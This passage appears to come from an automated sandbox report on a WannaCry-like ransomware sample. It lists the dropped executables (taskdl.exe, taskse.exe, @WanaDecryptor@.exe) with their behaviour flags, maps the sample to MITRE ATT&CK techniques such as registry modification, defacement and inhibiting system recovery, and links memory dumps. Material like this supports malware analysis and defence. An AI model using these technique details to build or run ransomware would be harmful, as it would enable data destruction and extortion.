C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
1⤵
- Executes dropped EXE
PID:1672

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
1⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:1292

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected]
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

MITRE ATT&CK Additional techniques

T1158
T1107
T1060

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1108-403-0x0000000003670000-0x0000000003681000-memory.dmp

Filesize
68KB

Download
memory/1108-69-0x0000000003170000-0x0000000003181000-memory.dmp

Filesize
68KB

Download
memory/1108-402-0x0000000003260000-0x0000000003271000-memory.dmp

Filesize
68KB

Download
memory/1108-237-0x0000000002D60000-0x0000000002D71000-memory.dmp

Filesize
68KB

Download
memory/1108-236-0x0000000003170000-0x0000000003181000-memory.dmp

Filesize
68KB

Download
memory/1108-404-0x0000000003260000-0x0000000003271000-memory.dmp

Filesize
68KB

Download
memory/1108-235-0x0000000002D60000-0x0000000002D71000-memory.dmp

Filesize
68KB

Download
memory/1108-70-0x0000000002D60000-0x0000000002D71000-memory.dmp

Filesize
68KB

Download
memory/1108-68-0x0000000002D60000-0x0000000002D71000-memory.dmp

Filesize
68KB

Download
memory/1272-0-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download
memory/1444-44-0x0000000002680000-0x0000000002684000-memory.dmp

Filesize
16KB

Download